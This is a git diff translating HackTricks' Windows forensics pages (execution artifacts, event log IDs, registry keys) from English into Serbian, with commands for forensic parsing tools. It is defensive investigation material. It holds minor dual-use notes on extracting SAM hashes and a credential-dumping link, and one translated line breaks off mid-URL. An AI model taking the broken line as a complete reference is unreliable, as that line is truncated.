sistema. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +U `SAM\Domains\Account\Users` možete dobiti korisničko ime, RID, poslednju prijavu, poslednji neuspeli pokušaj prijave, brojač prijava, politiku lozinke i kada je nalog kreiran. Da biste dobili **heševe**, takođe **trebate** fajl/hive **SYSTEM**. -### Interesting entries in the Windows Registry +### Interesantni unosi u Windows registru {% content-ref url="interesting-windows-registry-keys.md" %} [interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) {% endcontent-ref %} -## Programs Executed +## Izvršeni programi -### Basic Windows Processes +### Osnovni Windows procesi -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +U [ovom postu](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) možete saznati o uobičajenim Windows procesima kako biste otkrili sumnjive ponašanja. -### Windows Recent APPs +### Nedavni Windows programi -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +Unutar registra `NTUSER.DAT` na putanji `Software\Microsoft\Current Version\Search\RecentApps` možete pronaći podključeve sa informacijama o **izvršenim aplikacijama**, **poslednjem vremenu** izvršavanja i **broju puta** koliko su pokrenute. ### BAM (Background Activity Moderator) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Možete otvoriti fajl `SYSTEM` sa registarskim editorom i unutar putanje `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` možete pronaći informacije o **aplikacijama izvršenim od strane svakog korisnika** (obratite pažnju na `{SID}` u putanji) i **vremenu** kada su izvršene (vreme se nalazi unutar vrednosti podataka registra). ### Windows Prefetch -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Prefetching je tehnika koja omogućava računaru da tiho **preuzme neophodne resurse potrebne za prikaz sadržaja** kojem korisnik **može pristupiti u bliskoj budućnosti**, kako bi se resursi mogli brže pristupiti. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Windows prefetch se sastoji od kreiranja **keševa izvršenih programa** kako bi se mogli brže učitati. Ovi keševi se kreiraju kao `.pf` fajlovi unutar putanje: `C:\Windows\Prefetch`. Postoji ograničenje od 128 fajlova u XP/VISTA/WIN7 i 1024 fajla u Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Naziv fajla se kreira kao `{ime_programa}-{hash}.pf` (hash se bazira na putanji i argumentima izvršnog fajla). U W10 su ovi fajlovi kompresovani. Imajte na umu da samo prisustvo fajla ukazuje da je **program izvršen** u nekom trenutku. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +Fajl `C:\Windows\Prefetch\Layout.ini` sadrži **nazive foldera fajlova koji su prefetch-ovani**. Ovaj fajl sadrži **informacije o broju izvršavanja**, **datumima** izvršavanja i **fajlovima** **otvorenim** od strane programa. +Za pregledanje ovih fajlova možete koristiti alat [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../.gitbook/assets/image (487).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** ima isti cilj kao i prefetch, **brže učitavanje programa** predviđanjem šta će se sledeće učitati. Međutim, ne zamenjuje prefetch servis.\ +Ovaj servis generiše bazu podataka u `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +U ovim bazama podataka možete pronaći **ime** **programa**, **broj** **izvršavanja**, **otvorene** **datoteke**, **pristupane** **particije**, **kompletan** **putanja**, **vremenski okviri** i **vremenske oznake**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Ove informacije možete pristupiti pomoću alata [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **prati** **resurse** **koje proces koristi**. Pojavio se u W8 i podatke čuva u ESE bazi podataka smeštenoj u `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Daje sledeće informacije: -* AppID and Path -* User that executed the process -* Sent Bytes -* Received Bytes -* Network Interface -* Connection duration -* Process duration +* AppID i putanja +* Korisnik koji je izvršio proces +* Poslati bajtovi +* Primljeni bajtovi +* Mrežni interfejs +* Trajanje veze +* Trajanje procesa -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). +Ove informacije se ažuriraju svakih 60 minuta. +Možete dobiti podatke iz ovog fajla koristeći alat [**srum\_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**, poznat i kao **ShimCache**, čini deo **Baze podataka o kompatibilnosti aplikacija** koju je razvio **Microsoft** kako bi rešio probleme sa kompatibilnošću aplikacija. Ovaj sistemski komponent beleži različite metapodatke datoteka, koji uključuju: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard\_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Puni put do datoteke +- Veličinu datoteke +- Vreme poslednje izmene pod **$Standard\_Information** (SI) +- Vreme poslednjeg ažuriranja ShimCache-a +- Zastavicu izvršenja procesa -Such data is stored within the registry at specific locations based on the version of the operating system: +Takvi podaci se čuvaju u registru na određenim lokacijama, u zavisnosti od verzije operativnog sistema: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- Za XP, podaci se čuvaju pod `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` sa kapacitetom od 96 unosa. +- Za Server 2003, kao i za verzije Windowsa 2008, 2012, 2016, 7, 8 i 10, putanja za čuvanje je `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, sa kapacitetom od 512, odnosno 1024 unosa. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Za analizu čuvanih informacija preporučuje se korišćenje alata [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). ![](<../../../.gitbook/assets/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +Datoteka **Amcache.hve** je suštinski registarski hive koji beleži detalje o aplikacijama koje su izvršene na sistemu. Obično se nalazi na putanji `C:\Windows\AppCompat\Programas\Amcache.hve`. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Ova datoteka je značajna jer čuva zapise o nedavno izvršenim procesima, uključujući putanje do izvršnih datoteka i njihove SHA1 heš vrednosti. Ove informacije su neprocenjive za praćenje aktivnosti aplikacija na sistemu. +Za izdvajanje i analizu podataka iz **Amcache.hve** datoteke može se koristiti alat [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Sledeća komanda je primer kako koristiti AmcacheParser za analizu sadržaja datoteke **Amcache.hve** i izlaz rezultata u CSV formatu: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Među generisanim CSV datotekama, posebno je značajna datoteka `Amcache_Unassociated file entries` zbog bogatih informacija koje pruža o nepovezanim unosima datoteka. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Najinteresantnija generisana CSV datoteka je `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Ovaj artefakt se može pronaći samo u W7 u `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i sadrži informacije o nedavnom izvršavanju određenih binarnih datoteka. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Možete koristiti alat [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) za parsiranje datoteke. -### Scheduled tasks +### Zakazani zadaci -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Možete ih izvući iz `C:\Windows\Tasks` ili `C:\Windows\System32\Tasks` i čitati ih kao XML. -### Services +### Servisi -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Možete ih pronaći u registru pod `SYSTEM\ControlSet001\Services`. Možete videti šta će biti izvršeno i kada. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Instalirane aplikacije mogu se pronaći u `\ProgramData\Microsoft\Windows\AppRepository\`\ +Ovaj repozitorijum ima **log** sa **svakom instaliranom aplikacijom** u sistemu unutar baze podataka **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Unutar tabele Application ove baze podataka, mogu se pronaći kolone: "Application ID", "PackageNumber" i "Display Name". Ove kolone sadrže informacije o preinstaliranim i instaliranim aplikacijama, a može se utvrditi da li su neke aplikacije deinstalirane jer bi ID-jevi instaliranih aplikacija trebali biti uzastopni. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +Takođe je moguće **pronaći instalirane aplikacije** unutar putanje registra: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +I **deinstalirane aplikacije** u: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -## Windows Events +## Windows događaji -Information that appears inside Windows events are: +Informacije koje se pojavljuju unutar Windows događaja su: -* What happened -* Timestamp (UTC + 0) -* Users involved -* Hosts involved (hostname, IP) -* Assets accessed (files, folder, printer, services) +* Šta se desilo +* Vremenska oznaka (UTC + 0) +* Uključeni korisnici +* Uključeni hostovi (ime računara, IP adresa) +* Pristupani resursi (datoteke, folderi, štampači, servisi) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Logovi se nalaze u `C:\Windows\System32\config` pre Windows Viste i u `C:\Windows\System32\winevt\Logs` posle Windows Viste. Pre Windows Viste, logovi događaja su bili u binarnom formatu, a posle toga su u **XML formatu** i koriste **.evtx** ekstenziju. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +Lokacija datoteka događaja može se pronaći u registru sistema u **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Mogu se vizualizovati putem Windows Event Viewer-a (**`eventvwr.msc`**) ili drugim alatima poput [**Event Log Explorer**](https://eventlogxp.com) **ili** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -## Understanding Windows Security Event Logging +## Razumevanje beleženja događaja o bezbednosti u Windows-u -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Pristupni događaji se beleže u konfiguracionoj datoteci bezbednosti koja se nalazi na lokaciji `C:\Windows\System32\winevt\Security.evtx`. Veličina ove datoteke je podesiva, a kada se dostigne kapacitet, stariji događaji se prepisuju. Beleženi događaji uključuju prijavljivanje i odjavljivanje korisnika, korisničke radnje i promene u postavkama bezbednosti, kao i pristupanje datotekama, folderima i deljenim resursima. -### Key Event IDs for User Authentication: +### Ključni ID-jevi događaja za autentifikaciju korisnika: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Ukazuje na uspešnu autentifikaciju korisnika. +- **EventID 4625**: Označava neuspešnu autentifikaciju. +- **EventID 4634/4647**: Predstavljaju događaje odjavljivanja korisnika. +- **EventID 4672**: Označava prijavljivanje sa administratorskim privilegijama. -#### Sub-types within EventID 4634/4647: +#### Podtipovi unutar EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: Direktno prijavljivanje korisnika. +- **Network (3)**: Pristup deljenim fasciklama. +- **Batch (4)**: Izvršavanje batch procesa. +- **Service (5)**: Pokretanje servisa. +- **Proxy (6)**: Proksi autentifikacija. +- **Unlock (7)**: Otključavanje ekrana lozinkom. +- **Network Cleartext (8)**: Prenos lozinke u čistom tekstu, često od strane IIS-a. +- **New Credentials (9)**: Korišćenje drugih akreditiva za pristup. +- **Remote Interactive (10)**: Prijavljivanje putem udaljenog radnog okruženja ili terminalnih usluga. +- **Cache Interactive (11)**: Prijavljivanje sa keširanim akreditivima bez kontakta sa kontrolerom domena. +- **Cache Remote Interactive (12)**: Udaljeno prijavljivanje sa keširanim akreditivima. +- **Cached Unlock (13)**: Otključavanje sa keširanim akreditivima. -#### Status and Sub Status Codes for EventID 4625: +#### Statusni i podstatusni kodovi za EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: Korisničko ime ne postoji - Može ukazivati na napad enumeracije korisničkih imena. +- **0xC000006A**: Ispravno korisničko ime, ali pogrešna lozinka - Mogući pokušaj nagađanja ili napad metodom isprobavanja svih mogućih kombinacija lozinki. +- **0xC0000234**: Korisnički nalog zaključan - Može pratiti napad metodom isprobavanja svih mogućih kombinacija lozinki koji rezultira višestrukim neuspelim prijavljivanjima. +- **0xC0000072**: Onemogućen nalog - Neovlašćeni pokušaji pristupa onemogućenim nalozima. +- **0xC000006F**: Prijavljivanje van dozvoljenog vremena - Ukazuje na pokušaje pristupa van postavljenih vremenskih okvira za prijavljivanje, što može biti znak neovlašćenog pristupa. +- **0xC0000070**: Kršenje ograničenja radne stanice - Može biti pokušaj prijavljivanja sa neovlašćene lokacije. +- **0xC0000193**: Isteče vreme naloga - Pokušaji pristupa sa isteklim korisničkim nalozima. +- **0xC0000071**: Istečena lozinka - Pokušaji prijavljivanja sa zastarelim lozinkama. +- **0xC0000133**: Problemi sa sinhronizacijom vremena - Velike razlike u vremenu između klijenta i servera mogu ukazivati na sofisticiranije napade poput "pass-the-ticket". +- **0xC0000224**: Obavezna promena lozinke - Česte obavezne promene mogu ukazivati na pokušaj narušavanja sigurnosti naloga. +- **0xC0000225**: Ukazuje na grešku u sistemu, a ne na sigurnosni problem. +- **0xC000015b**: Odbijen tip prijavljivanja - Pokušaj pristupa sa neovlašćenim tipom prijavljivanja, kao što je pokušaj korisnika da izvrši prijavljivanje servisa. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Promena vremena**: Izmena sistemskog vremena, može otežati forenzičku analizu događaja. -#### EventID 6005 and 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +#### EventID 6005 i 6006: +- **Pokretanje i gašenje sistema**: EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje sistema. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Brisanje logova**: Brisanje sigurnosnih logova, što često ukazuje na pokušaj prikrivanja nezakonitih aktivnosti. -#### EventIDs for USB Device Tracking: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +#### EventID-ovi za praćenje USB uređaja: +- **20001 / 20003 / 10000**: Prvo povezivanje USB uređaja. +- **10100**: Ažuriranje drajvera USB uređaja. +- **EventID 112**: Vreme umetanja USB uređaja. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Za praktične primere simuliranja ovih vrsta prijavljivanja i prilika za izvlačenje akreditiva, pogledajte detaljan vodič [Altered Security](https://www.alteredsecurity +#### Događaji o napajanju sistema -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje. -### Recovering Windows Events +#### Brisanje logova -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. - -### Identifying Common Attacks via Windows Events - -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). - -#### Brute Force Attacks - -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. - -#### Time Change - -Recorded by EventID 4616, changes to system time can complicate forensic analysis. - -#### USB Device Tracking - -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. - -#### System Power Events - -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. - -#### Log Deletion - -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +Security EventID 1102 signalizira brisanje logova, što je kritičan događaj za forenzičku analizu.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 593954531..a2fc5eadd 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,106 +1,83 @@ -# Interesting Windows Registry Keys +# Interesantni Windows registarski ključevi -### Interesting Windows Registry Keys +### Interesantni Windows registarski ključevi
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-### **Windows Version and Owner Info** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +### **Windows verzija i informacije o vlasniku** +- Na lokaciji **`Software\Microsoft\Windows NT\CurrentVersion`**, možete pronaći Windows verziju, Service Pack, vreme instalacije i ime registrovanog vlasnika na jednostavan način. -### **Computer Name** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +### **Ime računara** +- Hostname se nalazi pod **`System\ControlSet001\Control\ComputerName\ComputerName`**. -### **Time Zone Setting** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +### **Podešavanje vremenske zone** +- Vremenska zona sistema se čuva u **`System\ControlSet001\Control\TimeZoneInformation`**. -### **Access Time Tracking** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +### **Pracenje vremena pristupa** +- Prema zadanim postavkama, praćenje vremena poslednjeg pristupa je isključeno (**`NtfsDisableLastAccessUpdate=1`**). Da biste ga omogućili, koristite: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +### Windows verzije i Service Pack-ovi +- **Windows verzija** označava izdanje (npr. Home, Pro) i njegovo izdanje (npr. Windows 10, Windows 11), dok su **Service Pack-ovi** ažuriranja koja uključuju ispravke i ponekad nove funkcije. -### Enabling Last Access Time -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +### Omogućavanje praćenja vremena poslednjeg pristupa +- Omogućavanje praćenja vremena poslednjeg pristupa omogućava vam da vidite kada su datoteke poslednji put otvorene, što može biti ključno za forenzičku analizu ili praćenje sistema. -### Network Information Details -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +### Detalji o mrežnim informacijama +- Registar sadrži obimne podatke o mrežnim konfiguracijama, uključujući **vrste mreža (bežične, kablovske, 3G)** i **kategorije mreže (Javna, Privatna/Kućna, Domen/Posao)**, što je važno za razumevanje postavki mrežne sigurnosti i dozvola. -### Client Side Caching (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +### Klijentsko keširanje (CSC) +- **CSC** poboljšava pristup datotekama van mreže keširanjem kopija deljenih datoteka. Različite postavke **CSCFlags** kontrolišu način i koje datoteke se keširaju, što utiče na performanse i korisničko iskustvo, posebno u okruženjima sa povremenom konekcijom. -### AutoStart Programs -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +### Programi koji se automatski pokreću +- Programi navedeni u različitim registarskim ključevima `Run` i `RunOnce` automatski se pokreću prilikom pokretanja sistema, utičući na vreme pokretanja sistema i potencijalno predstavljajući tačke interesa za identifikaciju malvera ili neželjenog softvera. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** ne samo da čuvaju postavke za prikaz fascikli, već pružaju i forenzičke dokaze o pristupu fasciklama čak i ako fascikla više ne postoji. Oni su neprocenjivi za istrage, otkrivajući korisničku aktivnost koja nije očigledna na druge načine. -### USB Information and Forensics -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +### Informacije i forenzika o USB uređajima +- Detalji o USB uređajima koji se čuvaju u registru mogu pomoći u praćenju koji su uređaji bili povezani sa računarom, potencijalno povezujući uređaj sa prenosom osetljivih datoteka ili incidentima neovlašćenog pristupa. -### Volume Serial Number -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +### Serijski broj zapremine +- **Serijski broj zapremine** može biti ključan za praćenje specifične instance sistema datoteka, korisno u forenzičkim scenarijima gde je potrebno utvrditi poreklo datoteke na različitim uređajima. -### **Shutdown Details** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +### **Detalji o isključivanju** +- Vreme isključivanja i broj isključivanja (samo za XP) čuvaju se u **`System\ControlSet001\Control\Windows`** i **`System\ControlSet001\Control\Watchdog\Display`**. -### **Network Configuration** -- For detailed network interface 